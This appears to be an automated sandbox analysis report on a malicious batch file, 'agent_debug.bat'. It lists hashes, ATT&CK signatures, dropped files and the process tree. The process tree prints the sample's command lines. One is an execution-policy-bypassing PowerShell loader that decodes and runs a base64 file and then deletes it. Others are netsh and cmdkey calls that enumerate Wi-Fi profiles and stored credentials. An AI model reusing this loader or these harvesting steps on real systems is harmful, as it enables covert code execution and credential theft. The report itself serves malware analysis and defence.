Analysis

  • max time kernel
    149s
  • max time network
    108s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    08/05/2026, 15:02

General

  • Target
    agent_debug.bat
  • Size 67KB
  • Sample260508-seh24aav4x
  • SHA256 073eb2fb4cb1cdbc14c435028dfd04ca631dac4d713b1bfce573f84e90757d37
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Drops file in Windows directory 1 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\agent_debug.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3928
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "$f='C:\Users\Admin\AppData\Local\Temp\10683.b64';$b=Get-Content $f -Raw;[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(($b -replace '\s',''))) | Invoke-Expression;Remove-Item $f -Force -EA 0"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1048
      • C:\Windows\system32\netsh.exe
        "C:\Windows\system32\netsh.exe" wlan show profiles
        3⤵
        • Event Triggered Execution: Netsh Helper DLL
        • System Network Configuration Discovery: Wi-Fi Discovery
        PID:3376
      • C:\Windows\system32\cmdkey.exe
        "C:\Windows\system32\cmdkey.exe" /list
        3⤵
          PID:3280

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          10683.b64

          • Path C:\Users\Admin\AppData\Local\Temp\10683.b64
          • Size 66KB
          • SHA256 2f19b6a5712b2b999e3f7f710fd84420fd91c2e2705e79e67cde619153e48444
          • MD5 SHA1 SHA512 SSDEEP TLSH

          10683.b64

          • Path C:\Users\Admin\AppData\Local\Temp\10683.b64
          • Size 31KB
          • SHA256 8b5ff84ab2b02a9f84aee306291f84b2a17d2a1b296ab579232ccc004b15d955
          • MD5 SHA1 SHA512 SSDEEP TLSH

          __PSScriptPolicyTest_401xsgkb.mwu.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_401xsgkb.mwu.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/1048-47-0x000001C2F9480000-0x000001C2F948A000-memory.dmp

          memory/1048-49-0x000001C2F95F0000-0x000001C2F95F8000-memory.dmp

          memory/1048-27-0x000001C2F8E70000-0x000001C2F8E80000-memory.dmp

          memory/1048-18-0x000001C2F8E70000-0x000001C2F8E80000-memory.dmp

          memory/1048-29-0x000001C2F96A0000-0x000001C2F9862000-memory.dmp

          memory/1048-30-0x000001C2F9DA0000-0x000001C2FA2C8000-memory.dmp

          memory/1048-42-0x000001C2F94D0000-0x000001C2F94EC000-memory.dmp

          memory/1048-43-0x00007FF4C41A0000-0x00007FF4C41B0000-memory.dmp

          memory/1048-45-0x000001C2F9600000-0x000001C2F960A000-memory.dmp

          memory/1048-44-0x000001C2F9530000-0x000001C2F95E3000-memory.dmp

          memory/1048-46-0x000001C2F9490000-0x000001C2F94AC000-memory.dmp

          memory/1048-19-0x000001C2F8E70000-0x000001C2F8E80000-memory.dmp

          memory/1048-48-0x000001C2F9630000-0x000001C2F964A000-memory.dmp

          memory/1048-20-0x000001C2F9070000-0x000001C2F9092000-memory.dmp

          memory/1048-50-0x000001C2F9610000-0x000001C2F9616000-memory.dmp

          memory/1048-51-0x000001C2F9620000-0x000001C2F962A000-memory.dmp

          memory/1048-52-0x000001C2F8E70000-0x000001C2F8E80000-memory.dmp

          memory/1048-66-0x000001C2F9640000-0x000001C2F9686000-memory.dmp

          memory/1048-68-0x000001C2F8E70000-0x000001C2F8E80000-memory.dmp

          memory/1048-67-0x000001C2F8E70000-0x000001C2F8E80000-memory.dmp

          memory/1048-71-0x000001C2F9040000-0x000001C2F9052000-memory.dmp

          memory/1048-70-0x000001C2E0940000-0x000001C2E094C000-memory.dmp

          memory/1048-69-0x000001C2DEFE0000-0x000001C2DF08E000-memory.dmp

          memory/1048-72-0x000001C2F8E70000-0x000001C2F8E80000-memory.dmp

          memory/1048-73-0x00007FF4C41A0000-0x00007FF4C41B0000-memory.dmp

          memory/1048-74-0x000001C2F8E70000-0x000001C2F8E80000-memory.dmp